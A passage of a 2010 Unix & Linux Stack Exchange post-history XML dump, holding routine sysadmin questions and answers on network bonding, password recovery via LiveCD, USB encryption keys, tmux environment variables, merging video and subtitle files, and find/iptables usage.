  <row Id="4676" PostHistoryTypeId="2" PostId="2263" RevisionGUID="7fc22b2e-4026-467e-93c5-29e6be10f130" CreationDate="2010-09-20T08:57:32.760" Text="I am not a network guy and would like to know how can I setup the below two configurations and its pros and cons.&#xD;&#xA;&#xD;&#xA;networking component :-&#xD;&#xA;WAN: cisco 2970 * 1&#xD;&#xA;Load balancer: F5 switch 1600 * 2&#xD;&#xA;Private subnet: Cisco 2950 * 2&#xD;&#xA;&#xD;&#xA;My situation is like that, my F5 switch 1600 will connect to Cisco 2970 upstream to the public (WAN) and all my host will connect to the pair of Cisco 2950 private lan which then interconnect to the pair of F5 switch 1600 providing load balancing as well as fault tolerance function. All of my host equip with two ethernet interface (most of them are using broadcom 5700) and they will team up and each interface will connect to one cisco switch so as to privide fault tolerate as well as link aggregation.&#xD;&#xA;&#xD;&#xA;My question is how can I config my equipements (Cisco 2970, F5 switch 1600, Cisco 2950 as well as my host) physically (cabling) and logically (system configuration?) and theirs pros and cons?&#xD;&#xA;&#xD;&#xA;1. Host using balance-ALB.&#xD;&#xA;&#xD;&#xA;2. Host using 802.3ad.&#xD;&#xA;" />
  <row Id="4677" PostHistoryTypeId="1" PostId="2263" RevisionGUID="7fc22b2e-4026-467e-93c5-29e6be10f130" CreationDate="2010-09-20T08:57:32.760" Text="complicated bonding and network question (HARD ONE)" />
  <row Id="4678" PostHistoryTypeId="3" PostId="2263" RevisionGUID="7fc22b2e-4026-467e-93c5-29e6be10f130" CreationDate="2010-09-20T08:57:32.760" Text="élinuxàénetworkingàéperformanceà" />
  <row Id="4680" PostHistoryTypeId="2" PostId="2265" RevisionGUID="dceb8f74-7bb9-405c-b2b2-2022ca5d0211" CreationDate="2010-09-20T09:02:30.530" UserId="33" Text="Boot from a LiveCD, then mount the / harddrive partition. You can now &quot;chroot&quot; into your harddrive and just run &quot;passwd&quot; as root there changing the root pw. That's also the way to change to grub password." />
  <row Id="4681" PostHistoryTypeId="2" PostId="2266" RevisionGUID="3feedc90-8829-423a-a99b-b96e89019cfe" CreationDate="2010-09-20T10:51:10.190" UserId="1903" Text="I want to give high security for my linux box. &#xD;&#xA;So i planed to use my pen drive as key for my linux box.&#xD;&#xA;&#xD;&#xA;How can i do it ?" />
  <row Id="4682" PostHistoryTypeId="1" PostId="2266" RevisionGUID="3feedc90-8829-423a-a99b-b96e89019cfe" CreationDate="2010-09-20T10:51:10.190" UserId="1903" Text="Is it possible to use pendrive as key for Linux system" />
  <row Id="4683" PostHistoryTypeId="3" PostId="2266" RevisionGUID="3feedc90-8829-423a-a99b-b96e89019cfe" CreationDate="2010-09-20T10:51:10.190" UserId="1903" Text="élinuxàésecurityàéusbà" />
  <row Id="4685" PostHistoryTypeId="2" PostId="2267" RevisionGUID="9b7cffb0-10a6-4063-83ad-2da7bd0ac161" CreationDate="2010-09-20T11:00:31.333" UserId="33" Text="If you mean to use a pendrive to decrypt and encrypt your harddrive, yes that is possible and actually not that complex. You can find full documentation at this Gentoo Wiki [article][1] (applies to other distributions as well)&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://en.gentoo-wiki.com/wiki/SECURITY_System_Encryption_DM-Crypt_with_LUKS#Keyfiles_on_removable_media " />
  <row Id="4686" PostHistoryTypeId="2" PostId="2268" RevisionGUID="2dd4a7a9-cf23-4c65-ad94-c34095c34ff0" CreationDate="2010-09-20T13:04:54.020" UserId="305" Text="Additionally you can [authenticate by usb device][1] (including one time pads and any mix with other PAM modules of course). As tante said you can also store keys to harddrive on usb device.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://pamusb.org/" />
  <row Id="4687" PostHistoryTypeId="2" PostId="2269" RevisionGUID="f49fb825-dd25-4acf-88f3-60c8a4d7547d" CreationDate="2010-09-20T13:13:56.370" UserId="305" Text="When I switched from `su+bash` to `su+tmux+zsh` I noticed that I get `$XAUTHORITY` variable defined as `/root/.xauthXXXXXX` where `XXXXXX` are 6 random alphanumeric characters. With previous configuration X worked with root flowlessly but now I need to copy `~username/.Xauthority` to `$XAUTHORITY`.&#xD;&#xA;&#xD;&#xA;Variable is nowhere defined (I checked `.zshrc`, `/etc/profile*`, `/etc/profile.d/*` etc.).&#xD;&#xA;&#xD;&#xA;    # env&#xD;&#xA;    TERM=screen&#xD;&#xA;    SHELL=/usr/bin/tmux&#xD;&#xA;    USER=toor&#xD;&#xA;    TMUX=/tmp//tmux-0/default,6495,3&#xD;&#xA;    PATH=/sbin:/bin:/usr/sbin:/usr/bin&#xD;&#xA;    PWD=/root&#xD;&#xA;    SHLVL=2&#xD;&#xA;    HOME=/root&#xD;&#xA;    LOGNAME=toor&#xD;&#xA;    DISPLAY=:0.0&#xD;&#xA;    XAUTHORITY=/root/.xauthUSzLl4&#xD;&#xA;    COLORTERM=gnome-terminal&#xD;&#xA;    _=/bin/env&#xD;&#xA;    OLDPWD=/root&#xD;&#xA;    EDITOR=vim&#xD;&#xA;    vcs_info_msg_0_=&#xD;&#xA;    vcs_info_msg_1_=&#xD;&#xA;" />
  <row Id="4688" PostHistoryTypeId="1" PostId="2269" RevisionGUID="f49fb825-dd25-4acf-88f3-60c8a4d7547d" CreationDate="2010-09-20T13:13:56.370" UserId="305" Text="XAUTHORITY appears from 'nowhere' on su+tmux" />
  <row Id="4689" PostHistoryTypeId="3" PostId="2269" RevisionGUID="f49fb825-dd25-4acf-88f3-60c8a4d7547d" CreationDate="2010-09-20T13:13:56.370" UserId="305" Text="éshellàéloginàétmuxàésuà" />
  <row Id="4690" PostHistoryTypeId="2" PostId="2270" RevisionGUID="c89081e9-7c9e-4a36-8bde-ecc3232b2ec1" CreationDate="2010-09-20T13:17:23.307" UserId="272" Text="Alternatively, check out the Yubikey concept, from [Yubico][1]. Pretty nice.&#xD;&#xA;&#xD;&#xA;I used to use pam_usb, like Maciej suggests, but the project's last release is three years old. &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.yubico.com/home/index/" />
  <row Id="4691" PostHistoryTypeId="2" PostId="2271" RevisionGUID="c89986b9-61f1-4294-bd02-0c026b2845af" CreationDate="2010-09-20T14:29:38.007" UserId="1383" Text="You can put your whole Linux system on a 64G or 128G pendrive and boot from it. Your Linux box will be as secure as your pocket." />
  <row Id="4692" PostHistoryTypeId="5" PostId="2262" RevisionGUID="e87ca5da-56c5-4899-aee4-6ab1bc8e9e4d" CreationDate="2010-09-20T15:06:49.887" UserId="73" Comment="deleted 37 characters in body; edited title" Text="If we forget our Linux root password, we can change it by changing grub's boot options.&#xD;&#xA;&#xD;&#xA;But in this case, we also set a grub password and forgot both passwords. How can we recover both?" />
  <row Id="4693" PostHistoryTypeId="4" PostId="2262" RevisionGUID="e87ca5da-56c5-4899-aee4-6ab1bc8e9e4d" CreationDate="2010-09-20T15:06:49.887" UserId="73" Comment="deleted 37 characters in body; edited title" Text="How to reset Linux root and grub passwords?" />
  <row Id="4694" PostHistoryTypeId="2" PostId="2272" RevisionGUID="06f14b12-fe2b-415d-b2a5-05dd7958e617" CreationDate="2010-09-20T15:07:49.130" UserId="1908" Text="The only time I use or hear minus instead of dash is when using chmod to remove a certain permission, e.g.&#xD;&#xA;&#xD;&#xA;    chmod -x script.sh&#xD;&#xA;&#xD;&#xA;as the action in question can be considered subtraction." />
  <row Id="4695" PostHistoryTypeId="2" PostId="2273" RevisionGUID="f0b219e4-f080-45a5-b0c6-4703ee8f1a1a" CreationDate="2010-09-20T15:09:54.963" UserId="1327" Text="I have two `*.avi` files:&#xD;&#xA;&#xD;&#xA;    cd1.avi&#xD;&#xA;    cd2.avi&#xD;&#xA;&#xD;&#xA;How do I join these to files from the **command-line**?" />
  <row Id="4696" PostHistoryTypeId="1" PostId="2273" RevisionGUID="f0b219e4-f080-45a5-b0c6-4703ee8f1a1a" CreationDate="2010-09-20T15:09:54.963" UserId="1327" Text="How do I join to *.avi files into one" />
  <row Id="4697" PostHistoryTypeId="3" PostId="2273" RevisionGUID="f0b219e4-f080-45a5-b0c6-4703ee8f1a1a" CreationDate="2010-09-20T15:09:54.963" UserId="1327" Text="écommandölineàévideoàéffmpegà" />
  <row Id="4698" PostHistoryTypeId="5" PostId="2273" RevisionGUID="63966698-b017-4697-8c10-962ed06da872" CreationDate="2010-09-20T15:12:56.080" UserId="73" Comment="edited body; edited title; added 1 characters in body" Text="I have two `*.avi` files:&#xD;&#xA;&#xD;&#xA;    cd1.avi&#xD;&#xA;    cd2.avi&#xD;&#xA;&#xD;&#xA;How do I merge these two files using the command-line?&#xD;&#xA;" />
  <row Id="4699" PostHistoryTypeId="4" PostId="2273" RevisionGUID="63966698-b017-4697-8c10-962ed06da872" CreationDate="2010-09-20T15:12:56.080" UserId="73" Comment="edited body; edited title; added 1 characters in body" Text="How do I merge two *.avi files into one" />
  <row Id="4700" PostHistoryTypeId="2" PostId="2274" RevisionGUID="c0fb5aa4-23ed-4e34-a5a9-fd7617d0eeac" CreationDate="2010-09-20T15:14:56.240" UserId="73" Text="There's a dedicated tool to do this, [`avimerge`](http://www.transcoding.org/transcode?Avimerge):&#xD;&#xA;&#xD;&#xA;    avimerge -o cd.avi -i cd1.avi cd2.avi&#xD;&#xA;" />
  <row Id="4701" PostHistoryTypeId="5" PostId="2273" RevisionGUID="4198c3ca-8cc9-4921-9154-bbbfe666be56" CreationDate="2010-09-20T15:19:44.493" UserId="1327" Comment="added 30 characters in body" Text="I have two `*.avi` files:&#xD;&#xA;&#xD;&#xA;    cd1.avi&#xD;&#xA;    cd2.avi&#xD;&#xA;&#xD;&#xA;How do I merge these two files using the command-line, preferably by using `ffmpeg`?&#xD;&#xA;" />
  <row Id="4702" PostHistoryTypeId="2" PostId="2275" RevisionGUID="1a907d66-b930-466b-af08-6395ebc5e4bc" CreationDate="2010-09-20T15:44:54.327" UserId="1327" Text="Since I've migrated to linux a few years ago, one issue still remains. &#xD;&#xA;&#xD;&#xA;A **`e`** with a **`^`** features a lot in my &quot;moeder taal&quot; ( home language ). &#xD;&#xA;&#xD;&#xA;In *Windows* making the character was easy, I simply had to type 'Alt-136' and vola!&#xD;&#xA;&#xD;&#xA;Is there a simplistic way in linux/unix to access special characters? &#xD;&#xA;&#xD;&#xA;I'd like to be able to type a `e` with a `^` anywhere on my ( or any other ) system, not only in the DE, but on the command-line aswell.&#xD;&#xA;" />
  <row Id="4703" PostHistoryTypeId="1" PostId="2275" RevisionGUID="1a907d66-b930-466b-af08-6395ebc5e4bc" CreationDate="2010-09-20T15:44:54.327" UserId="1327" Text="How do I put a hat on 'e'?" />
  <row Id="4704" PostHistoryTypeId="3" PostId="2275" RevisionGUID="1a907d66-b930-466b-af08-6395ebc5e4bc" CreationDate="2010-09-20T15:44:54.327" UserId="1327" Text="écommandölineàéspecialöcharactersà" />
  <row Id="4705" PostHistoryTypeId="2" PostId="2276" RevisionGUID="34057f84-4b8d-4454-b2c9-55c0ea288c8e" CreationDate="2010-09-20T15:56:55.307" UserId="1910" Text="&gt; Would be said &quot;arr em minus arr ef slash&quot; as opposed to&#xD;&#xA;&gt; &quot;arr em dash arr ef slash&quot;.&#xD;&#xA;&gt;&#xD;&#xA;&gt; Why is this?&#xD;&#xA;&#xD;&#xA;I think this might be regional, or age related more than anything else. Everyone said minus when I was in Uni. ... but then at that point all keyboards had a numeric pad, on the right, that had +-*/etc.&#xD;&#xA;" />
  <row Id="4706" PostHistoryTypeId="2" PostId="2277" RevisionGUID="820c2b80-f986-446e-9872-43eeef71ed57" CreationDate="2010-09-20T15:59:14.710" UserId="1910" Text="You can go into Keyboard Shortcuts and create a new &quot;custom shortcut&quot; as &quot;nautilus ~/Documents&quot;.&#xD;&#xA;" />
  <row Id="4707" PostHistoryTypeId="2" PostId="2278" RevisionGUID="e1ff9e5d-241d-4ebc-bca3-0b8f0d2ab2f2" CreationDate="2010-09-20T16:26:55.027" UserId="171" Text="Crtl+Shift+U an underlined U will appear, next to it type in EA, which equals ê. Found the info here http://forum.wordreference.com/showthread.php?p=5743314#post5743314" />
  <row Id="4708" PostHistoryTypeId="2" PostId="2279" RevisionGUID="01657751-4dcd-4843-92bd-043557eb8f1e" CreationDate="2010-09-20T16:33:48.933" UserId="1878" Text="I was able to declare a 'default action' by adding a first rule that matches every packet.  It seems that the 'mangle' table does not act like the others, and tries to match every rule instead of stopping at the first matching rule.  This makes sense because one may want to do several modifications to the same packet...&#xD;&#xA;&#xD;&#xA;&lt;pre&gt;&#xD;&#xA;# Everything goes into the default queue, except if another rule matches...&#xD;&#xA;iptables -t mangle -A PREROUTING -s 192.168.1.0/24 -j MARK --set-mark 12&#xD;&#xA;iptables -t mangle -A PREROUTING -s 192.168.1.70   -j MARK --set-mark 10 &#xD;&#xA;iptables -t mangle -A PREROUTING -j IMQ --todev 0&#xD;&#xA;&lt;/pre&gt;" />
  <row Id="4709" PostHistoryTypeId="4" PostId="2269" RevisionGUID="b0b9b9d7-9761-4e2a-af87-b9b4b3f82c5e" CreationDate="2010-09-20T16:50:55.730" UserId="305" Comment="edited title" Text="`$XAUTHORITY` appears from 'nowhere' on su+tmux" />
  <row Id="4710" PostHistoryTypeId="2" PostId="2280" RevisionGUID="5a078a96-ef26-4a5e-b535-f59e3dbffe13" CreationDate="2010-09-20T17:03:23.123" UserDisplayName="Jesús Bracamonte" Text="Hi, i am working with vmware and preparing a vcenter server on windows server, but i will like to know, how good is vcenter in linux, anyone have tried?&#xD;&#xA;&#xD;&#xA;i will like to work with ubuntu server, or what do you suggest me?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Thanks in advance and sorry for my bad english." />
  <row Id="4711" PostHistoryTypeId="1" PostId="2280" RevisionGUID="5a078a96-ef26-4a5e-b535-f59e3dbffe13" CreationDate="2010-09-20T17:03:23.123" UserDisplayName="Jesús Bracamonte" Text="vcenter server on Linux?" />
  <row Id="4712" PostHistoryTypeId="3" PostId="2280" RevisionGUID="5a078a96-ef26-4a5e-b535-f59e3dbffe13" CreationDate="2010-09-20T17:03:23.123" UserDisplayName="Jesús Bracamonte" Text="éubuntuàévirtualömachineàéserverà" />
  <row Id="4713" PostHistoryTypeId="2" PostId="2281" RevisionGUID="08b83fca-5ba9-448d-9e24-0220b74dfa1b" CreationDate="2010-09-20T18:01:38.397" UserId="1912" Text="I have a process which I need to run on a specific port.  I have started some other process on that port and I need to kill it.&#xD;&#xA;&#xD;&#xA;Unfortunately, I don't remember the name/pid of the other process so I need a quick way to find which PID are associated with it.&#xD;&#xA;&#xD;&#xA;I tried `lsof -i :7080` but that returned nothing.  I can `telnet localhost 7080` so I know its running.&#xD;&#xA;&#xD;&#xA;For reference I'm running RHEL5" />
  <row Id="4714" PostHistoryTypeId="1" PostId="2281" RevisionGUID="08b83fca-5ba9-448d-9e24-0220b74dfa1b" CreationDate="2010-09-20T18:01:38.397" UserId="1912" Text="How do I get a mapping of Pid to Port?" />
  <row Id="4715" PostHistoryTypeId="3" PostId="2281" RevisionGUID="08b83fca-5ba9-448d-9e24-0220b74dfa1b" CreationDate="2010-09-20T18:01:38.397" UserId="1912" Text="énetworkingà" />
  <row Id="4716" PostHistoryTypeId="2" PostId="2282" RevisionGUID="44885100-e587-442d-928b-895fba8b6073" CreationDate="2010-09-20T18:37:39.073" UserId="1804" Text="Try:&#xD;&#xA;&#xD;&#xA;    netstat -nap | grep 7080" />
  <row Id="4717" PostHistoryTypeId="2" PostId="2283" RevisionGUID="ebec566f-1d36-4fe5-b819-08f0bb28d5fc" CreationDate="2010-09-20T19:09:29.157" UserId="1327" Text="Please see [this][1] question.&#xD;&#xA;&#xD;&#xA;I have just merged two avi files `cd1.avi` and `cd1.avi` into `movie.avi` using:&#xD;&#xA;&#xD;&#xA;    avimerge -o movie.avi -i cd{1,2}.avi&#xD;&#xA;&#xD;&#xA;Problem is that I had to *subtitle* files linked to the first `avi` files:&#xD;&#xA;&#xD;&#xA;    cd1.srt&#xD;&#xA;    cd2.srt&#xD;&#xA;&#xD;&#xA;At first I tried simply to concatenate the files together:&#xD;&#xA;&#xD;&#xA;    cat cd{1,2}.srt &gt; movie.srt&#xD;&#xA;&#xD;&#xA;But that caused havoc with the subtitles... any suggestions?&#xD;&#xA;&#xD;&#xA;[1]:http://unix.stackexchange.com/questions/2273/how-do-i-merge-two-avi-files-into-one" />
  <row Id="4718" PostHistoryTypeId="1" PostId="2283" RevisionGUID="ebec566f-1d36-4fe5-b819-08f0bb28d5fc" CreationDate="2010-09-20T19:09:29.157" UserId="1327" Text="How do I merge two *.srt files" />
  <row Id="4719" PostHistoryTypeId="3" PostId="2283" RevisionGUID="ebec566f-1d36-4fe5-b819-08f0bb28d5fc" CreationDate="2010-09-20T19:09:29.157" UserId="1327" Text="écommandölineàévideoàévideoösubtitlesà" />
  <row Id="4720" PostHistoryTypeId="2" PostId="2284" RevisionGUID="51aea80d-ad29-4479-8324-86a63116fa68" CreationDate="2010-09-20T19:52:10.933" UserId="382" Text="In the terminal you can type &lt;kbd&gt;Compose&lt;/kbd&gt; &lt;kbd&gt;e&lt;/kbd&gt; &lt;kbd&gt;^&lt;/kbd&gt;. On a Windows keyboard &lt;kbd&gt;Compose&lt;/kbd&gt; is the Menu key to the right of the right-side Windows key.&#xD;&#xA;&#xD;&#xA;Wikipedia entry: [Compose key][1]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://en.wikipedia.org/wiki/Compose_key" />
  <row Id="4721" PostHistoryTypeId="2" PostId="2285" RevisionGUID="cf9c5db6-113a-4fea-b717-39625f0adbb4" CreationDate="2010-09-20T19:55:49.740" UserId="1913" Text="The answers of Vegar Nilsen and edfuh are very good and the proper solutions to a problem like this.&#xD;&#xA;&#xD;&#xA;I do want to add a general response to this question that allows you to delete *any* file with a difficult file name using its inode number which can be obtained using `ls -i` or some form of `stat` and then removed finding files by inode number in the current directory and executing the `rm` command&#xD;&#xA;&#xD;&#xA;    find . -inode &lt;inode&gt; -exec rm {}\;&#xD;&#xA;&#xD;&#xA;Since inode numbers are unique in each file system you can remove any file using this, it is how ever very annoying to type out so I would recommend adding the line&#xD;&#xA;&#xD;&#xA;    TAB: menu-complete              # Tab: Cycles through the command&#xD;&#xA;    &quot;\e[Z&quot;: menu-complete-backward  # Shift-Tab: Cycles backwards&#xD;&#xA;&#xD;&#xA;into your `.inputrc` file if you're using bash. This allows you to cycle through the list of possible completions ([for further information][1]).&#xD;&#xA;&#xD;&#xA;  [1]: http://tiswww.case.edu/php/chet/readline/readline.html#SEC19" />
  <row Id="4722" PostHistoryTypeId="5" PostId="2285" RevisionGUID="116d1a9e-128a-4efb-9ab2-1207df16a7d8" CreationDate="2010-09-20T20:02:59.097" UserId="1913" Comment="added 90 characters in body; deleted 2 characters in body" Text="The answers of Vegar Nilsen and edfuh are very good and the proper solutions to a problem like this.&#xD;&#xA;&#xD;&#xA;I do want to add a general response to this question that allows you to delete *any* file with a difficult file name. First its inode number is obtained using `ls -i` or some form of `stat` and then the file is removed by searching for files in the current directory by inode number and executing the `rm` command on the file with a matching inode number &#xD;&#xA;&#xD;&#xA;    find . -inode &lt;inode&gt; -exec rm {}\;&#xD;&#xA;&#xD;&#xA;Since inode numbers are unique in each file system you can remove any file using this; unicode or using escape characters. It is how ever very annoying to type out so I would recommend adding the line&#xD;&#xA;&#xD;&#xA;    TAB: menu-complete             # Tab: Cycles through the command&#xD;&#xA;    &quot;\e[Z&quot;: menu-complete-backward # Shift-Tab: Cycles backwards&#xD;&#xA;&#xD;&#xA;into your `.inputrc` file if you're using bash. This allows you to cycle through the list of possible completions ([for further information][1]).&#xD;&#xA;&#xD;&#xA;  [1]: http://tiswww.case.edu/php/chet/readline/readline.html#SEC19" />
  <row Id="4723" PostHistoryTypeId="2" PostId="2286" RevisionGUID="e0ed34e0-08f5-4e9d-9d0b-b305fea707a7" CreationDate="2010-09-20T20:10:20.407" UserId="73" Text="This is pretty trivially done, since `.srt` files are just text files that contain time stamps -- all you need to do is add the length of `cd1.avi` to the times of all the subtitles in `cd2.srt`. You can find the length of `cd1.avi` with `ffmpeg`:&#xD;&#xA;&#xD;&#xA;    ffmpeg -i cd1.avi  # Look for the Duration: line&#xD;&#xA;&#xD;&#xA;And then add that to `cd2.srt` using `srttool`&#xD;&#xA;&#xD;&#xA;    srttool -d 12345 cd2.srt  # 12345 is the amount to add in seconds&#xD;&#xA;&#xD;&#xA;or:&#xD;&#xA;&#xD;&#xA;    srttool -a hh:mm:ss cd2.srt  # The first subtitle will now start at hh:mm:ss&#xD;&#xA;&#xD;&#xA;Then you should just be able to concatenate the files together and renumber:&#xD;&#xA;&#xD;&#xA;    srttool -r cd.srt&#xD;&#xA;&#xD;&#xA;---&#xD;&#xA;&#xD;&#xA;I picked `srttool` because in Arch it comes with `transcode`, which you installed for [this question](http://unix.stackexchange.com/questions/2273/how-do-i-merge-two-avi-files-into-one); there are lots of other tools that can shift and merge `.srt` files too, and at least one website, [submerge](http://submerge.delarue-berlin.de/)&#xD;&#xA;" />
  <row Id="4724" PostHistoryTypeId="2" PostId="2287" RevisionGUID="a05d2dc7-51fb-4133-bda6-647ca69fea5d" CreationDate="2010-09-20T20:15:19.910" UserId="1389" Text="This might have been answered already. But I wasn't able to find it.&#xD;&#xA;&#xD;&#xA;I have:&#xD;&#xA;&#xD;&#xA;    directory&#xD;&#xA;    directory/subdirectory/subdirectoryofsubdirectory&#xD;&#xA;    directory/sub-subdirectory/subdirectoryofsub-subdirectory/subdirectoryofsubdirectoryofsub-subdirectory&#xD;&#xA;    directory/sub-sub-subdirectory&#xD;&#xA;    directory/sub-sub-sub-subdirectory&#xD;&#xA;&#xD;&#xA;each directory and subdirectory contains files. I want to list them all, pipe the list to cat, and cat the list to a text file. Can this be done with a 'one liner'? If so, please provide it. Or does it require a script and, if so, what commands/structures will I need to write the script?" />
  <row Id="4725" PostHistoryTypeId="1" PostId="2287" RevisionGUID="a05d2dc7-51fb-4133-bda6-647ca69fea5d" CreationDate="2010-09-20T20:15:19.910" UserId="1389" Text="ls'ing through an entire directory tree to produce one pipeable list of files" />
  <row Id="4726" PostHistoryTypeId="3" PostId="2287" RevisionGUID="a05d2dc7-51fb-4133-bda6-647ca69fea5d" CreationDate="2010-09-20T20:15:19.910" UserId="1389" Text="élsàédirectoryà" />
  <row Id="4727" PostHistoryTypeId="2" PostId="2288" RevisionGUID="1d4510dd-af26-4336-bedf-43ca83f944dc" CreationDate="2010-09-20T20:32:38.027" UserId="1207" Text="I think that your best bet is the `find` command.  If you want just the files and not the directories in your list, something like this:&#xD;&#xA;&#xD;&#xA;    find directory/ -type f -print &gt; textfile&#xD;&#xA;&#xD;&#xA;The find command will recursively list the files. (If you want the directories listed too, remove the `-type f`).  The `&gt; textfile` redirects stdout to a file named textfile with no need for cat.&#xD;&#xA;&#xD;&#xA;`find` is a powerful tool with many options.  See `man find` if you find that you need to tweak the output slightly.&#xD;&#xA;&#xD;&#xA;" />
  <row Id="4728" PostHistoryTypeId="2" PostId="2289" RevisionGUID="a5eb7326-61b7-4365-b0c8-6a21f0e3128e" CreationDate="2010-09-20T21:08:20.083" UserId="73" Text="`find` is the generic way, as [Steven D's answer](http://unix.stackexchange.com/questions/2287/lsing-through-an-entire-directory-tree-to-produce-one-pipeable-list-of-files/2288#2288) explains. If your shell supports it, `**` can be used to match any number of subdirectories (on bash it's the same as `*` and only matches one), so you can just do:&#xD;&#xA;&#xD;&#xA;    cat **/*" />
  <row Id="4729" PostHistoryTypeId="5" PostId="2269" RevisionGUID="398c1583-2625-49af-8257-90d19a53d1f5" CreationDate="2010-09-20T21:34:22.207" UserId="305" Comment="added 535 characters in body" Text="When I switched from `su+bash` to `su+tmux+zsh` I noticed that I get `$XAUTHORITY` variable defined as `/root/.xauthXXXXXX` where `XXXXXX` are 6 random alphanumeric characters. With previous configuration X worked with root flowlessly but now I need to copy `~username/.Xauthority` to `$XAUTHORITY`.&#xD;&#xA;&#xD;&#xA;Variable is nowhere defined (I checked `.zshrc`, `/etc/profile*`, `/etc/profile.d/*` etc.).&#xD;&#xA;&#xD;&#xA;    # env&#xD;&#xA;    TERM=screen&#xD;&#xA;    SHELL=/usr/bin/tmux&#xD;&#xA;    USER=toor&#xD;&#xA;    TMUX=/tmp//tmux-0/default,6495,3&#xD;&#xA;    PATH=/sbin:/bin:/usr/sbin:/usr/bin&#xD;&#xA;    PWD=/root&#xD;&#xA;    SHLVL=2&#xD;&#xA;    HOME=/root&#xD;&#xA;    LOGNAME=toor&#xD;&#xA;    DISPLAY=:0.0&#xD;&#xA;    XAUTHORITY=/root/.xauthUSzLl4&#xD;&#xA;    COLORTERM=gnome-terminal&#xD;&#xA;    _=/bin/env&#xD;&#xA;    OLDPWD=/root&#xD;&#xA;    EDITOR=vim&#xD;&#xA;    vcs_info_msg_0_=&#xD;&#xA;    vcs_info_msg_1_=&#xD;&#xA;&#xD;&#xA;**Edit:**&#xD;&#xA;&#xD;&#xA;    % echo $XAUTHORITY &#xD;&#xA;    /home/mpiechotka/.Xauthority&#xD;&#xA;    % su &#xD;&#xA;    password:&#xD;&#xA;    # echo $XAUTHORITY &#xD;&#xA;    /root/.xauthUSzLl4&#xD;&#xA;    # ls $XAUTHORITY&#xD;&#xA;    ls: cannot access /root/.xauthUSzLl4: No such file or directory&#xD;&#xA;    # cat .tmux.conf &#xD;&#xA;    set -g default-command /bin/zsh&#xD;&#xA;    set -g default-shell /bin/zsh&#xD;&#xA;&#xD;&#xA;`su` is aliased to `su - toor` and it opens `tmux` as shell. toor is an alias of root with different shell.&#xD;&#xA;&#xD;&#xA;PS. I just discovered that it appears on normal su as well. It did not some time ago..." />
  <row Id="4730" PostHistoryTypeId="2" PostId="2290" RevisionGUID="1321cbd9-29a4-441a-bf78-33bc4a477c49" CreationDate="2010-09-20T21:42:12.787" UserId="160" Text="Here's what I think is happening.  &#xD;&#xA;&#xD;&#xA;When you're using `su` and `bash`, the `su`-session inherits the environment with the exception of `USER`, `HOME` and `SHELL`, thus `XAUTHORITY` still points to `~/.Xauthority` and everything is fine.  However (from the [man](http://www.openbsd.org/cgi-bin/man.cgi?query=tmux&amp;sektion=1) page), when the `tmux` server is started:&#xD;&#xA;&#xD;&#xA;&gt; ... tmux copies the environment into the global&#xD;&#xA;     environment; in addition, each session has a session environment.  When a&#xD;&#xA;     window is created, the session and global environments are merged with&#xD;&#xA;     the session environment overriding any variable present in both.&#xD;&#xA;&#xD;&#xA;and I suspect (without knowing invocation details) that when you switch credentials, `su` tries to find `.Xauthority` in `/root` and since it can't find one when you need to run an `X` app, it creates one.  I can think of a couple ways you can try to fix this:&#xD;&#xA;&#xD;&#xA; 1. Invoke `su` by using `su -`.  This will copy over the real user's evironment&#xD;&#xA; 2. Add `set-environment &lt;name&gt; &lt;value&gt;` to your `tmux` config.&#xD;&#xA;&#xD;&#xA;Unfortunately, I can't test this since I recently switched over to [i3](http://i3.zekjur.net/) (which is awesome) and I don't have a spare machine.&#xD;&#xA;&#xD;&#xA;" />
  <row Id="4731" PostHistoryTypeId="5" PostId="2275" RevisionGUID="d41de410-d5dd-434e-92c4-fad00d900bf9" CreationDate="2010-09-20T21:49:53.623" UserId="73" Comment="deleted 5 characters in body; edited title" Text="Since I've migrated to linux a few years ago, one issue still remains. &#xD;&#xA;&#xD;&#xA;The ê character features a lot in my &quot;moeder taal&quot; (home language). &#xD;&#xA;&#xD;&#xA;In Windows making the character was easy, I simply had to type &lt;kbd&gt;Alt&lt;/kbd&gt;-&lt;kbd&gt;136&lt;/kbd&gt; and voila!&#xD;&#xA;&#xD;&#xA;Is there a simplistic way in linux/unix to access special characters? &#xD;&#xA;&#xD;&#xA;I'd like to be able to type an ê anywhere on my (or any other) system, not only in the DE, but on the command-line as well.&#xD;&#xA;" />
  <row Id="4732" PostHistoryTypeId="4" PostId="2275" RevisionGUID="d41de410-d5dd-434e-92c4-fad00d900bf9" CreationDate="2010-09-20T21:49:53.623" UserId="73" Comment="deleted 5 characters in body; edited title" Text="How do I put a hat on 'e' (ê)?" />
  <row Id="4733" PostHistoryTypeId="5" PostId="2278" RevisionGUID="aa258a22-a0da-4815-a788-404bed3304d8" CreationDate="2010-09-20T21:52:58.303" UserId="73" Comment="added 64 characters in body" Text="Press &lt;kbd&gt;Ctrl&lt;/kbd&gt;+&lt;kbd&gt;Shift&lt;/kbd&gt;+&lt;kbd&gt;U&lt;/kbd&gt; and an underlined `U` will appear. Next to it type in &lt;kbd&gt;EA&lt;/kbd&gt;, which equals `ê`.&#xD;&#xA;&#xD;&#xA;Found the info [here](http://forum.wordreference.com/showthread.php?p=5743314#post5743314)" />
  <row Id="4734" PostHistoryTypeId="5" PostId="2263" RevisionGUID="189c40c8-d4c5-43d7-9731-5b308cafdc5d" CreationDate="2010-09-20T21:58:46.840" UserId="73" Comment="added 35 characters in body" Text="I am not a network guy and would like to know how can I setup the below two configurations and their pros and cons:&#xD;&#xA;&#xD;&#xA;* **Networking component**: --&#xD;&#xA;* **WAN**: Cisco 2970 * 1&#xD;&#xA;* **Load balancer**: F5 switch 1600 * 2&#xD;&#xA;* **Private subnet**: Cisco 2950 * 2&#xD;&#xA;&#xD;&#xA;My situation is like that, my F5 switch 1600 will connect to Cisco 2970 upstream to the public (WAN) and all my host will connect to the pair of Cisco 2950 private lan which then interconnect to the pair of F5 switch 1600 providing load balancing as well as fault tolerance function. All of my host equip with two ethernet interface (most of them are using broadcom 5700) and they will team up and each interface will connect to one cisco switch so as to privide fault tolerate as well as link aggregation.&#xD;&#xA;&#xD;&#xA;My question is, how can I config my equipment (Cisco 2970, F5 switch 1600, Cisco 2950 as well as my host) physically (cabling) and logically (system configuration?), and what are their pros and cons?&#xD;&#xA;&#xD;&#xA;1. Host using balance-ALB.&#xD;&#xA;&#xD;&#xA;2. Host 